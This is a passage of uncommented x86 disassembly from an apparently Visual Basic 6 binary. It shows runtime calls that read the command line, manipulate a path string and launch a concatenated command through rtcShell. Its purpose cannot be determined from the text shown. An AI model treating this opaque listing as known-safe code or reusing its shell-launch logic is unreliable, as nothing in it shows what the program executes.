call dword [sym.imp.MSVBVM60.DLL___vbaStrMove]
lea eax, [ebp - 0x38]
push eax
push 0x440064
lea ecx, [ebp - 0x34]
push ecx
mov edx, dword [ebp - 0x1b0]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x1b0]
push ecx
call dword [eax + 0x20]
fnclex
mov dword [ebp - 0x1b4], eax
cmp dword [ebp - 0x1b4], 0
jge 0x4229e9
push 0x20
push 0x41a4e0
mov edx, dword [ebp - 0x1b0]
push edx
mov eax, dword [ebp - 0x1b4]
push eax
call dword [sym.imp.MSVBVM60.DLL___vbaHresultCheckObj]
mov dword [ebp - 0x2d0], eax
jmp 0x4229f3
mov dword [ebp - 0x2d0], 0
cmp dword [0x440050], 0
jne 0x422a18
push 0x440050
push 0x419000
call dword [sym.imp.MSVBVM60.DLL___vbaNew2]
mov dword [ebp - 0x2d4], 0x440050
jmp 0x422a22
mov dword [ebp - 0x2d4], 0x440050
mov ecx, dword [ebp - 0x2d4]
mov edx, dword [ecx]
mov dword [ebp - 0x1b8], edx
mov word [ebp - 0x198], 0
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x22c], eax
mov dword [ebp - 0x38], 0
mov edx, dword [ebp - 0x22c]
lea ecx, [ebp - 0x3c]
call dword [sym.imp.MSVBVM60.DLL___vbaStrMove]
lea ecx, [ebp - 0x40]
push ecx
lea edx, [ebp - 0x198]
push edx
lea eax, [ebp - 0x3c]
push eax
push 0x440040
mov ecx, dword [ebp - 0x1b8]
mov edx, dword [ecx]
mov eax, dword [ebp - 0x1b8]
push eax
call dword [edx + 0x78]
fnclex
mov dword [ebp - 0x1bc], eax
cmp dword [ebp - 0x1bc], 0
jge 0x422ab2
push 0x78
push 0x41a71c
mov ecx, dword [ebp - 0x1b8]
push ecx
mov edx, dword [ebp - 0x1bc]
push edx
call dword [sym.imp.MSVBVM60.DLL___vbaHresultCheckObj]
mov dword [ebp - 0x2d8], eax
jmp 0x422abc
mov dword [ebp - 0x2d8], 0
lea eax, [ebp - 0x40]
push eax
lea ecx, [ebp - 0x3c]
push ecx
lea edx, [ebp - 0x34]
push edx
push 3
call dword [sym.imp.MSVBVM60.DLL___vbaFreeStrList]
add esp, 0x10
mov dword [ebp - 4], 0x1f
cmp dword [0x4400d8], 0
jne 0x422aff
push 0x4400d8
push 0x4192fc
call dword [sym.imp.MSVBVM60.DLL___vbaNew2]
mov dword [ebp - 0x2dc], 0x4400d8
jmp 0x422b09
mov dword [ebp - 0x2dc], 0x4400d8
mov eax, dword [ebp - 0x2dc]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x2dc]
mov eax, dword [edx]
mov edx, dword [eax]
push ecx
call dword [edx + 0x30c]
push eax
lea eax, [ebp - 0x54]
push eax
call dword [sym.imp.MSVBVM60.DLL___vbaObjSet]
mov dword [ebp - 0x1b0], eax
push 0xffffffffffffffff
mov ecx, dword [ebp - 0x1b0]
mov edx, dword [ecx]
mov eax, dword [ebp - 0x1b0]
push eax
call dword [edx + 0x5c]
fnclex
mov dword [ebp - 0x1b4], eax
cmp dword [ebp - 0x1b4], 0
jge 0x422b7b
push 0x5c
push 0x41b6cc
mov ecx, dword [ebp - 0x1b0]
push ecx
mov edx, dword [ebp - 0x1b4]
push edx
call dword [sym.imp.MSVBVM60.DLL___vbaHresultCheckObj]
mov dword [ebp - 0x2e0], eax
jmp 0x422b85
mov dword [ebp - 0x2e0], 0
lea ecx, [ebp - 0x54]
call dword [sym.imp.MSVBVM60.DLL___vbaFreeObj]
mov dword [ebp - 4], 0x20
call fcn.004269d0
jmp 0x4267f5
mov dword [ebp - 4], 0x22
lea eax, [ebp - 0x74]
push eax
call dword [sym.imp.MSVBVM60.DLL_rtcCommandVar]
mov dword [ebp - 0x15c], 0x41b6e0
mov dword [ebp - 0x164], 0x8008
lea ecx, [ebp - 0x74]
push ecx
lea edx, [ebp - 0x164]
push edx
call dword [sym.imp.MSVBVM60.DLL___vbaVarTstEq]
mov word [ebp - 0x1b0], ax
lea ecx, [ebp - 0x74]
call dword [sym.imp.MSVBVM60.DLL___vbaFreeVar]
movsx eax, word [ebp - 0x1b0]
test eax, eax
je 0x423307
mov dword [ebp - 4], 0x23
cmp dword [0x440d40], 0
jne 0x422c20
push 0x440d40
push 0x41aee0
call dword [sym.imp.MSVBVM60.DLL___vbaNew2]
mov dword [ebp - 0x2e4], 0x440d40
jmp 0x422c2a
mov dword [ebp - 0x2e4], 0x440d40
mov ecx, dword [ebp - 0x2e4]
mov edx, dword [ecx]
mov dword [ebp - 0x1b0], edx
lea eax, [ebp - 0x54]
push eax
mov ecx, dword [ebp - 0x1b0]
mov edx, dword [ecx]
mov eax, dword [ebp - 0x1b0]
push eax
call dword [edx + 0x14]
fnclex
mov dword [ebp - 0x1b4], eax
cmp dword [ebp - 0x1b4], 0
jge 0x422c82
push 0x14
push 0x41aed0
mov ecx, dword [ebp - 0x1b0]
push ecx
mov edx, dword [ebp - 0x1b4]
push edx
call dword [sym.imp.MSVBVM60.DLL___vbaHresultCheckObj]
mov dword [ebp - 0x2e8], eax
jmp 0x422c8c
mov dword [ebp - 0x2e8], 0
mov eax, dword [ebp - 0x54]
mov dword [ebp - 0x1b8], eax
lea ecx, [ebp - 0x198]
push ecx
mov edx, dword [ebp - 0x1b8]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x1b8]
push ecx
call dword [eax + pe_nt_image_headers32]
fnclex
mov dword [ebp - 0x1bc], eax
cmp dword [ebp - 0x1bc], 0
jge 0x422ce8
push pe_nt_image_headers32
push 0x41aef0
mov edx, dword [ebp - 0x1b8]
push edx
mov eax, dword [ebp - 0x1bc]
push eax
call dword [sym.imp.MSVBVM60.DLL___vbaHresultCheckObj]
mov dword [ebp - 0x2ec], eax
jmp 0x422cf2
mov dword [ebp - 0x2ec], 0
cmp dword [0x440054], 0
jne 0x422d17
push 0x440054
push 0x418124
call dword [sym.imp.MSVBVM60.DLL___vbaNew2]
mov dword [ebp - 0x2f0], 0x440054
jmp 0x422d21
mov dword [ebp - 0x2f0], 0x440054
mov ecx, dword [ebp - 0x2f0]
mov edx, dword [ecx]
mov dword [ebp - 0x1c0], edx
mov edx, 0x41b700
lea ecx, [ebp - 0x38]
call dword [sym.imp.MSVBVM60.DLL___vbaStrCopy]
mov edx, 0x41b6ec
lea ecx, [ebp - 0x34]
call dword [sym.imp.MSVBVM60.DLL___vbaStrCopy]
lea eax, [ebp - 0x1a0]
push eax
lea ecx, [ebp - 0x38]
push ecx
lea edx, [ebp - 0x34]
push edx
mov eax, dword [ebp - 0x1c0]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x1c0]
push edx
call dword [ecx + 0x34]
fnclex
mov dword [ebp - 0x1c4], eax
cmp dword [ebp - 0x1c4], 0
jge 0x422da0
push 0x34
push 0x41b0a4
mov eax, dword [ebp - 0x1c0]
push eax
mov ecx, dword [ebp - 0x1c4]
push ecx
call dword [sym.imp.MSVBVM60.DLL___vbaHresultCheckObj]
mov dword [ebp - 0x2f4], eax
jmp 0x422daa
mov dword [ebp - 0x2f4], 0
movsx edx, word [ebp - 0x198]
xor eax, eax
cmp edx, dword [ebp - 0x1a0]
setg al
neg eax
mov word [ebp - 0x1c8], ax
lea ecx, [ebp - 0x38]
push ecx
lea edx, [ebp - 0x34]
push edx
push 2
call dword [sym.imp.MSVBVM60.DLL___vbaFreeStrList]
add esp, 0xc
lea ecx, [ebp - 0x54]
call dword [sym.imp.MSVBVM60.DLL___vbaFreeObj]
movsx eax, word [ebp - 0x1c8]
test eax, eax
je 0x4232f5
mov dword [ebp - 4], 0x24
cmp dword [0x440d40], 0
jne 0x422e1c
push 0x440d40
push 0x41aee0
call dword [sym.imp.MSVBVM60.DLL___vbaNew2]
mov dword [ebp - 0x2f8], 0x440d40
jmp 0x422e26
mov dword [ebp - 0x2f8], 0x440d40
mov ecx, dword [ebp - 0x2f8]
mov edx, dword [ecx]
mov dword [ebp - 0x1b0], edx
lea eax, [ebp - 0x54]
push eax
mov ecx, dword [ebp - 0x1b0]
mov edx, dword [ecx]
mov eax, dword [ebp - 0x1b0]
push eax
call dword [edx + 0x14]
fnclex
mov dword [ebp - 0x1b4], eax
cmp dword [ebp - 0x1b4], 0
jge 0x422e7e
push 0x14
push 0x41aed0
mov ecx, dword [ebp - 0x1b0]
push ecx
mov edx, dword [ebp - 0x1b4]
push edx
call dword [sym.imp.MSVBVM60.DLL___vbaHresultCheckObj]
mov dword [ebp - 0x2fc], eax
jmp 0x422e88
mov dword [ebp - 0x2fc], 0
mov eax, dword [ebp - 0x54]
mov dword [ebp - 0x1b8], eax
lea ecx, [ebp - 0x198]
push ecx
mov edx, dword [ebp - 0x1b8]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x1b8]
push ecx
call dword [eax + pe_nt_image_headers32]
fnclex
mov dword [ebp - 0x1bc], eax
cmp dword [ebp - 0x1bc], 0
jge 0x422ee4
push pe_nt_image_headers32
push 0x41aef0
mov edx, dword [ebp - 0x1b8]
push edx
mov eax, dword [ebp - 0x1bc]
push eax
call dword [sym.imp.MSVBVM60.DLL___vbaHresultCheckObj]
mov dword [ebp - 0x300], eax
jmp 0x422eee
mov dword [ebp - 0x300], 0
cmp dword [0x440054], 0
jne 0x422f13
push 0x440054
push 0x418124
call dword [sym.imp.MSVBVM60.DLL___vbaNew2]
mov dword [ebp - 0x304], 0x440054
jmp 0x422f1d
mov dword [ebp - 0x304], 0x440054
mov ecx, dword [ebp - 0x304]
mov edx, dword [ecx]
mov dword [ebp - 0x1c0], edx
xor eax, eax
mov ax, word [ebp - 0x198]
push eax
call dword [sym.imp.MSVBVM60.DLL___vbaStrI2]
mov edx, eax
lea ecx, [ebp - 0x3c]
call dword [sym.imp.MSVBVM60.DLL___vbaStrMove]
mov edx, 0x41b700
lea ecx, [ebp - 0x38]
call dword [sym.imp.MSVBVM60.DLL___vbaStrCopy]
mov edx, 0x41b6ec
lea ecx, [ebp - 0x34]
call dword [sym.imp.MSVBVM60.DLL___vbaStrCopy]
lea ecx, [ebp - 0x19c]
push ecx
lea edx, [ebp - 0x3c]
push edx
lea eax, [ebp - 0x38]
push eax
lea ecx, [ebp - 0x34]
push ecx
mov edx, dword [ebp - 0x1c0]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x1c0]
push ecx
call dword [eax + 0x2c]
fnclex
mov dword [ebp - 0x1c4], eax
cmp dword [ebp - 0x1c4], 0
jge 0x422fbb
push 0x2c
push 0x41b0a4
mov edx, dword [ebp - 0x1c0]
push edx
mov eax, dword [ebp - 0x1c4]
push eax
call dword [sym.imp.MSVBVM60.DLL___vbaHresultCheckObj]
mov dword [ebp - 0x308], eax
jmp 0x422fc5
mov dword [ebp - 0x308], 0
lea ecx, [ebp - 0x3c]
push ecx
lea edx, [ebp - 0x38]
push edx
lea eax, [ebp - 0x34]
push eax
push 3
call dword [sym.imp.MSVBVM60.DLL___vbaFreeStrList]
add esp, 0x10
lea ecx, [ebp - 0x54]
call dword [sym.imp.MSVBVM60.DLL___vbaFreeObj]
mov dword [ebp - 4], 0x25
cmp dword [0x440d40], 0
jne 0x423011
push 0x440d40
push 0x41aee0
call dword [sym.imp.MSVBVM60.DLL___vbaNew2]
mov dword [ebp - 0x30c], 0x440d40
jmp 0x42301b
mov dword [ebp - 0x30c], 0x440d40
mov ecx, dword [ebp - 0x30c]
mov edx, dword [ecx]
mov dword [ebp - 0x1b0], edx
lea eax, [ebp - 0x54]
push eax
mov ecx, dword [ebp - 0x1b0]
mov edx, dword [ecx]
mov eax, dword [ebp - 0x1b0]
push eax
call dword [edx + 0x14]
fnclex
mov dword [ebp - 0x1b4], eax
cmp dword [ebp - 0x1b4], 0
jge 0x423073
push 0x14
push 0x41aed0
mov ecx, dword [ebp - 0x1b0]
push ecx
mov edx, dword [ebp - 0x1b4]
push edx
call dword [sym.imp.MSVBVM60.DLL___vbaHresultCheckObj]
mov dword [ebp - 0x310], eax
jmp 0x42307d
mov dword [ebp - 0x310], 0
mov eax, dword [ebp - 0x54]
mov dword [ebp - 0x1b8], eax
lea ecx, [ebp - 0x198]
push ecx
mov edx, dword [ebp - 0x1b8]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x1b8]
push ecx
call dword [eax + pe_nt_image_headers32]
fnclex
mov dword [ebp - 0x1bc], eax
cmp dword [ebp - 0x1bc], 0
jge 0x4230d9
push pe_nt_image_headers32
push 0x41aef0
mov edx, dword [ebp - 0x1b8]
push edx
mov eax, dword [ebp - 0x1bc]
push eax
call dword [sym.imp.MSVBVM60.DLL___vbaHresultCheckObj]
mov dword [ebp - 0x314], eax
jmp 0x4230e3
mov dword [ebp - 0x314], 0
cmp dword [0x440054], 0
jne 0x423108
push 0x440054
push 0x418124
call dword [sym.imp.MSVBVM60.DLL___vbaNew2]
mov dword [ebp - 0x318], 0x440054
jmp 0x423112
mov dword [ebp - 0x318], 0x440054
mov ecx, dword [ebp - 0x318]
mov edx, dword [ecx]
mov dword [ebp - 0x1c0], edx
xor eax, eax
mov ax, word [ebp - 0x198]
push eax
call dword [sym.imp.MSVBVM60.DLL___vbaStrI2]
mov edx, eax
lea ecx, [ebp - 0x3c]
call dword [sym.imp.MSVBVM60.DLL___vbaStrMove]
mov edx, 0x41b710
lea ecx, [ebp - 0x38]
call dword [sym.imp.MSVBVM60.DLL___vbaStrCopy]
mov edx, 0x41b6ec
lea ecx, [ebp - 0x34]
call dword [sym.imp.MSVBVM60.DLL___vbaStrCopy]
lea ecx, [ebp - 0x19c]
push ecx
lea edx, [ebp - 0x3c]
push edx
lea eax, [ebp - 0x38]
push eax
lea ecx, [ebp - 0x34]
push ecx
mov edx, dword [ebp - 0x1c0]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x1c0]
push ecx
call dword [eax + 0x2c]
fnclex
mov dword [ebp - 0x1c4], eax
cmp dword [ebp - 0x1c4], 0
jge 0x4231b0
push 0x2c
push 0x41b0a4
mov edx, dword [ebp - 0x1c0]
push edx
mov eax, dword [ebp - 0x1c4]
push eax
call dword [sym.imp.MSVBVM60.DLL___vbaHresultCheckObj]
mov dword [ebp - 0x31c], eax
jmp 0x4231ba
mov dword [ebp - 0x31c], 0
lea ecx, [ebp - 0x3c]
push ecx
lea edx, [ebp - 0x38]
push edx
lea eax, [ebp - 0x34]
push eax
push 3
call dword [sym.imp.MSVBVM60.DLL___vbaFreeStrList]
add esp, 0x10
lea ecx, [ebp - 0x54]
call dword [sym.imp.MSVBVM60.DLL___vbaFreeObj]
mov dword [ebp - 4], 0x26
cmp dword [0x440050], 0
jne 0x423206
push 0x440050
push 0x419000
call dword [sym.imp.MSVBVM60.DLL___vbaNew2]
mov dword [ebp - 0x320], 0x440050
jmp 0x423210
mov dword [ebp - 0x320], 0x440050
mov ecx, dword [ebp - 0x320]
mov edx, dword [ecx]
mov dword [ebp - 0x1b0], edx
mov word [ebp - 0x198], 0
mov eax, dword [0x440044]
push eax
push 0x41b720
call dword [sym.imp.MSVBVM60.DLL___vbaStrCat]
mov edx, eax
lea ecx, [ebp - 0x34]
call dword [sym.imp.MSVBVM60.DLL___vbaStrMove]
lea ecx, [ebp - 0x38]
push ecx
lea edx, [ebp - 0x198]
push edx
push 0x440040
lea eax, [ebp - 0x34]
push eax
mov ecx, dword [ebp - 0x1b0]
mov edx, dword [ecx]
mov eax, dword [ebp - 0x1b0]
push eax
call dword [edx + 0x78]
fnclex
mov dword [ebp - 0x1b4], eax
cmp dword [ebp - 0x1b4], 0
jge 0x42329d
push 0x78
push 0x41a71c
mov ecx, dword [ebp - 0x1b0]
push ecx
mov edx, dword [ebp - 0x1b4]
push edx
call dword [sym.imp.MSVBVM60.DLL___vbaHresultCheckObj]
mov dword [ebp - 0x324], eax
jmp 0x4232a7
mov dword [ebp - 0x324], 0
mov eax, dword [ebp - 0x38]
push eax
push 0x41a554
call dword [sym.imp.MSVBVM60.DLL___vbaStrCmp]
neg eax
sbb eax, eax
neg eax
neg eax
mov word [ebp - 0x1b8], ax
lea ecx, [ebp - 0x38]
push ecx
lea edx, [ebp - 0x34]
push edx
push 2
call dword [sym.imp.MSVBVM60.DLL___vbaFreeStrList]
add esp, 0xc
movsx eax, word [ebp - 0x1b8]
test eax, eax
je 0x4232f5
mov dword [ebp - 4], 0x27
mov word [ebp - 0x28], 0xffff
jmp 0x4268bd
mov dword [ebp - 4], 0x2b
mov word [ebp - 0x28], 0xffff
jmp 0x4268bd
mov dword [ebp - 4], 0x2e
cmp dword [0x440050], 0
jne 0x423333
push 0x440050
push 0x419000
call dword [sym.imp.MSVBVM60.DLL___vbaNew2]
mov dword [ebp - 0x328], 0x440050
jmp 0x42333d
mov dword [ebp - 0x328], 0x440050
mov ecx, dword [ebp - 0x328]
mov edx, dword [ecx]
mov dword [ebp - 0x1b0], edx
lea eax, [ebp - 0x34]
push eax
push 0x440044
mov ecx, dword [ebp - 0x1b0]
mov edx, dword [ecx]
mov eax, dword [ebp - 0x1b0]
push eax
call dword [edx + 0x4c]
fnclex
mov dword [ebp - 0x1b4], eax
cmp dword [ebp - 0x1b4], 0
jge 0x42339a
push 0x4c
push 0x41a71c
mov ecx, dword [ebp - 0x1b0]
push ecx
mov edx, dword [ebp - 0x1b4]
push edx
call dword [sym.imp.MSVBVM60.DLL___vbaHresultCheckObj]
mov dword [ebp - 0x32c], eax
jmp 0x4233a4
mov dword [ebp - 0x32c], 0
mov eax, dword [ebp - 0x34]
push eax
push 0x41b730
call dword [sym.imp.MSVBVM60.DLL___vbaStrCmp]
neg eax
sbb eax, eax
inc eax
neg eax
mov word [ebp - 0x1b8], ax
lea ecx, [ebp - 0x34]
call dword [sym.imp.MSVBVM60.DLL___vbaFreeStr]
movsx ecx, word [ebp - 0x1b8]
test ecx, ecx
je 0x423413
mov dword [ebp - 4], 0x2f
push 0x41b73c
mov edx, dword [0x440044]
push edx
call dword [sym.imp.MSVBVM60.DLL___vbaStrCat]
mov dword [ebp - 0x6c], eax
mov dword [ebp - 0x74], 8
push 1
lea eax, [ebp - 0x74]
push eax
call dword [sym.imp.MSVBVM60.DLL_rtcShell]
fstp qword [ebp - 0x1ac]
lea ecx, [ebp - 0x74]
call dword [sym.imp.MSVBVM60.DLL___vbaFreeVar]
mov dword [ebp - 4], 0x31
cmp dword [0x440d40], 0
jne 0x42343f
push 0x440d40
push 0x41aee0
call dword [sym.imp.MSVBVM60.DLL___vbaNew2]
mov dword [ebp - 0x330], 0x440d40
jmp 0x423449
mov dword [ebp - 0x330], 0x440d40
mov ecx, dword [ebp - 0x330]
mov edx, dword [ecx]
mov dword [ebp - 0x1b0], edx
lea eax, [ebp - 0x54]
push eax
mov ecx, dword [ebp - 0x1b0]
mov edx, dword [ecx]
mov eax, dword [ebp - 0x1b0]
push eax
call dword [edx + 0x14]
fnclex
mov dword [ebp - 0x1b4], eax
cmp dword [ebp - 0x1b4], 0
jge 0x4234a1
push 0x14
push 0x41aed0
mov ecx, dword [ebp - 0x1b0]
push ecx
mov edx, dword [ebp - 0x1b4]
push edx
call dword [sym.imp.MSVBVM60.DLL___vbaHresultCheckObj]
mov dword [ebp - 0x334], eax
jmp 0x4234ab
mov dword [ebp - 0x334], 0
mov eax, dword [ebp - 0x54]
mov dword [ebp - 0x1b8], eax
lea ecx, [ebp - 0x198]
push ecx
mov edx, dword [ebp - 0x1b8]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x1b8]
push ecx
call dword [eax + 0x68]
fnclex
mov dword [ebp - 0x1bc], eax
cmp dword [ebp - 0x1bc], 0
jge 0x423501
push 0x68
push 0x41aef0
mov edx, dword [ebp - 0x1b8]
push edx
mov eax, dword [ebp - 0x1bc]
push eax
call dword [sym.imp.MSVBVM60.DLL___vbaHresultCheckObj]
mov dword [ebp - 0x338], eax
jmp 0x42350b
mov dword [ebp - 0x338], 0
mov cx, word [ebp - 0x198]
mov word [ebp - 0x1c0], cx
lea ecx, [ebp - 0x54]
call dword [sym.imp.MSVBVM60.DLL___vbaFreeObj]
movsx edx, word [ebp - 0x1c0]
test edx, edx
je 0x42353f
mov dword [ebp - 4], 0x32
mov word [ebp - 0x28], 0xffff
jmp 0x4268bd
mov dword [ebp - 4], 0x35
push 0
push 0xffffffffffffffff
push 0x41a3cc
mov eax, dword [0x440064]
push eax
call dword [sym.imp.MSVBVM60.DLL_rtcInStrRev]
sub eax, 1
mov dword [ebp - 0x6c], eax
mov dword [ebp - 0x74], 3
mov dword [ebp - 0x15c], 0x440064
mov dword [ebp - 0x164], 0x4008
lea ecx, [ebp - 0x74]
push ecx
push 1
lea edx, [ebp - 0x164]
push edx
lea eax, [ebp - 0x84]
push eax
call dword [sym.imp.MSVBVM60.DLL_rtcMidCharVar]
cmp dword [0x440d40], 0
jne 0x4235bb
push 0x440d40
push 0x41aee0
call dword [sym.imp.MSVBVM60.DLL___vbaNew2]
mov dword [ebp - 0x33c], 0x440d40
jmp 0x4235c5
mov dword [ebp - 0x33c], 0x440d40
mov ecx, dword [ebp - 0x33c]
mov edx, dword [ecx]
mov dword [ebp - 0x1b0], edx
lea eax, [ebp - 0x54]
push eax
mov ecx, dword [ebp - 0x1b0]
mov edx, dword [ecx]
mov eax, dword [ebp - 0x1b0]
push eax
call dword [edx + 0x14]
fnclex
mov dword [ebp - 0x1b4], eax
cmp dword [ebp - 0x1b4], 0
jge 0x42361d
push 0x14
push 0x41aed0
mov ecx, dword [ebp - 0x1b0]
push ecx
mov edx, dword [ebp - 0x1b4]
push edx
call dword [sym.imp.MSVBVM60.DLL___vbaHresultCheckObj]
mov dword [ebp - 0x340], eax
jmp 0x423627
mov dword [ebp - 0x340], 0
mov eax, dword [ebp - 0x54]
mov dword [ebp - 0x1b8], eax
lea ecx, [ebp - 0x198]
push ecx
mov edx, dword [ebp - 0x1b8]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x1b8]
push ecx
call dword [eax + pe_nt_image_headers32]
fnclex
mov dword [ebp - 0x1bc], eax
cmp dword [ebp - 0x1bc], 0
jge 0x423683
push pe_nt_image_headers32
push 0x41aef0
mov edx, dword [ebp - 0x1b8]
push edx
mov eax, dword [ebp - 0x1bc]
push eax
call dword [sym.imp.MSVBVM60.DLL___vbaHresultCheckObj]
mov dword [ebp - 0x344], eax
jmp 0x42368d
mov dword [ebp - 0x344], 0
cmp dword [0x440054], 0
jne 0x4236b2
push 0x440054
push 0x418124
call dword [sym.imp.MSVBVM60.DLL___vbaNew2]
mov dword [ebp - 0x348], 0x440054
jmp 0x4236bc
mov dword [ebp - 0x348], 0x440054
mov ecx, dword [ebp - 0x348]
mov edx, dword [ecx]
mov dword [ebp - 0x1c0], edx
lea eax, [ebp - 0x84]
push eax
call dword [sym.imp.MSVBVM60.DLL___vbaStrVarMove]
mov edx, eax
lea ecx, [ebp - 0x38]
call dword [sym.imp.MSVBVM60.DLL___vbaStrMove]
mov edx, 0x41b6ec
lea ecx, [ebp - 0x34]
call dword [sym.imp.MSVBVM60.DLL___vbaStrCopy]
lea ecx, [ebp - 0x1a0]
push ecx
lea edx, [ebp - 0x38]
push edx
lea eax, [ebp - 0x34]
push eax
mov ecx, dword [ebp - 0x1c0]
mov edx, dword [ecx]
mov eax, dword [ebp - 0x1c0]
push eax
call dword [edx + 0x34]
fnclex
mov dword [ebp - 0x1c4], eax
cmp dword [ebp - 0x1c4], 0
jge 0x423745
push 0x34
push 0x41b0a4
mov ecx, dword [ebp - 0x1c0]
push ecx
mov edx, dword [ebp - 0x1c4]
push edx
call dword [sym.imp.MSVBVM60.DLL___vbaHresultCheckObj]
mov dword [ebp - 0x34c], eax
jmp 0x42374f
mov dword [ebp - 0x34c], 0
movsx eax, word [ebp - 0x198]
xor ecx, ecx
cmp eax, dword [ebp - 0x1a0]
setg cl
neg ecx
mov word [ebp - 0x1c8], cx
lea edx, [ebp - 0x38]
push edx
lea eax, [ebp - 0x34]
push eax
push 2
call dword [sym.imp.MSVBVM60.DLL___vbaFreeStrList]
add esp, 0xc
lea ecx, [ebp - 0x54]
call dword [sym.imp.MSVBVM60.DLL___vbaFreeObj]
lea ecx, [ebp - 0x84]
push ecx
lea edx, [ebp - 0x74]
push edx
push 2
call dword [sym.imp.MSVBVM60.DLL___vbaFreeVarList]
add esp, 0xc
movsx eax, word [ebp - 0x1c8]
test eax, eax
je 0x423edf
mov dword [ebp - 4], 0x36
cmp dword [0x440050], 0
jne 0x4237d7
push 0x440050
push 0x419000
call dword [sym.imp.MSVBVM60.DLL___vbaNew2]
mov dword [ebp - 0x350], 0x440050
jmp 0x4237e1
mov dword [ebp - 0x350], 0x440050
mov ecx, dword [ebp - 0x350]
mov edx, dword [ecx]
mov dword [ebp - 0x1b0], edx
mov word [ebp - 0x198], 0
mov eax, dword [0x440044]
push eax
push 0x41b720
call dword [sym.imp.MSVBVM60.DLL___vbaStrCat]
mov edx, eax
lea ecx, [ebp - 0x34]
call dword [sym.imp.MSVBVM60.DLL___vbaStrMove]
lea ecx, [ebp - 0x38]
push ecx
lea edx, [ebp - 0x198]
push edx
push 0x440040
lea eax, [ebp - 0x34]
push eax
mov ecx, dword [ebp - 0x1b0]
mov edx, dword [ecx]
mov eax, dword [ebp - 0x1b0]
push eax
call dword [edx + 0x78]
fnclex
mov dword [ebp - 0x1b4], eax
cmp dword [ebp - 0x1b4], 0
jge 0x42386e
push 0x78
push 0x41a71c
mov ecx, dword [ebp - 0x1b0]
push ecx
mov edx, dword [ebp - 0x1b4]
push edx
call dword [sym.imp.MSVBVM60.DLL___vbaHresultCheckObj]
mov dword [ebp - 0x354], eax
jmp 0x423878
mov dword [ebp - 0x354], 0
lea eax, [ebp - 0x38]
push eax
lea ecx, [ebp - 0x34]
push ecx
push 2
call dword [sym.imp.MSVBVM60.DLL___vbaFreeStrList]
add esp, 0xc
mov dword [ebp - 4], 0x37
cmp dword [0x44005c], 0
jne 0x4238b7
push 0x44005c
push 0x417c78
call dword [sym.imp.MSVBVM60.DLL___vbaNew2]
mov dword [ebp - 0x358], 0x44005c
jmp 0x4238c1
mov dword [ebp - 0x358], 0x44005c
mov edx, dword [ebp - 0x358]
mov eax, dword [edx]
mov dword [ebp - 0x1b0], eax
mov ecx, dword [0x440030]
push ecx
mov edx, dword [0x440064]
push edx
call dword [sym.imp.MSVBVM60.DLL___vbaStrCat]
mov edx, eax
lea ecx, [ebp - 0x34]
call dword [sym.imp.MSVBVM60.DLL___vbaStrMove]
lea eax, [ebp - 0x38]
push eax
push 0x440064
lea ecx, [ebp - 0x34]
push ecx
mov edx, dword [ebp - 0x1b0]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x1b0]
push ecx
call dword [eax + 0x20]
fnclex
mov dword [ebp - 0x1b4], eax
cmp dword [ebp - 0x1b4], 0
jge 0x423941
push 0x20
push 0x41a4e0
mov edx, dword [ebp - 0x1b0]
push edx
mov eax, dword [ebp - 0x1b4]
push eax
call dword [sym.imp.MSVBVM60.DLL___vbaHresultCheckObj]
mov dword [ebp - 0x35c], eax
jmp 0x42394b
mov dword [ebp - 0x35c], 0
mov ecx, dword [ebp - 0x38]
mov dword [ebp - 0x230], ecx
mov dword [ebp - 0x38], 0
mov edx, dword [ebp - 0x230]
lea ecx, [ebp - 0x24]
call dword [sym.imp.MSVBVM60.DLL___vbaStrMove]
lea ecx, [ebp - 0x34]
call dword [sym.imp.MSVBVM60.DLL___vbaFreeStr]
mov dword [ebp - 4], 0x38
cmp dword [0x440050], 0
jne 0x42399f
push 0x440050
push 0x419000
call dword [sym.imp.MSVBVM60.DLL___vbaNew2]
mov dword [ebp - 0x360], 0x440050
jmp 0x4239a9
mov dword [ebp - 0x360], 0x440050
mov edx, dword [ebp - 0x360]
mov eax, dword [edx]
mov dword [ebp - 0x1b0], eax
lea ecx, [ebp - 0x198]
push ecx
mov edx, dword [0x440064]
push edx
mov eax, dword [ebp - 0x1b0]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x1b0]
push edx
call dword [ecx + 0x68]
fnclex
mov dword [ebp - 0x1b4], eax
cmp dword [ebp - 0x1b4], 0
jge 0x423a0b
push 0x68
push 0x41a71c
mov eax, dword [ebp - 0x1b0]
push eax
mov ecx, dword [ebp - 0x1b4]
push ecx
call dword [sym.imp.MSVBVM60.DLL___vbaHresultCheckObj]
mov dword [ebp - 0x364], eax
jmp 0x423a15
mov dword [ebp - 0x364], 0
cmp dword [0x440050], 0
jne 0x423a3a
push 0x440050
push 0x419000
call dword [sym.imp.MSVBVM60.DLL___vbaNew2]
mov dword [ebp - 0x368], 0x440050
jmp 0x423a44
mov dword [ebp - 0x368], 0x440050
mov edx, dword [ebp - 0x368]
mov eax, dword [edx]
mov dword [ebp - 0x1b8], eax
mov word [ebp - 0x19c], 0
mov ecx, dword [0x440044]
push ecx
push 0x41b720
call dword [sym.imp.MSVBVM60.DLL___vbaStrCat]
mov edx, eax
lea ecx, [ebp - 0x34]
call dword [sym.imp.MSVBVM60.DLL___vbaStrMove]
lea edx, [ebp - 0x38]
push edx
lea eax, [ebp - 0x19c]
push eax
lea ecx, [ebp - 0x24]
push ecx
lea edx, [ebp - 0x34]
push edx
mov eax, dword [ebp - 0x1b8]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x1b8]
push edx
call dword [ecx + 0x78]
fnclex
mov dword [ebp - 0x1bc], eax
cmp dword [ebp - 0x1bc], 0
jge 0x423ad1
push 0x78
push 0x41a71c
mov eax, dword [ebp - 0x1b8]
push eax
mov ecx, dword [ebp - 0x1bc]
push ecx
call dword [sym.imp.MSVBVM60.DLL___vbaHresultCheckObj]
mov dword [ebp - 0x36c], eax
jmp 0x423adb
mov dword [ebp - 0x36c], 0
mov edx, dword [ebp - 0x38]
push edx
push 0x41a554
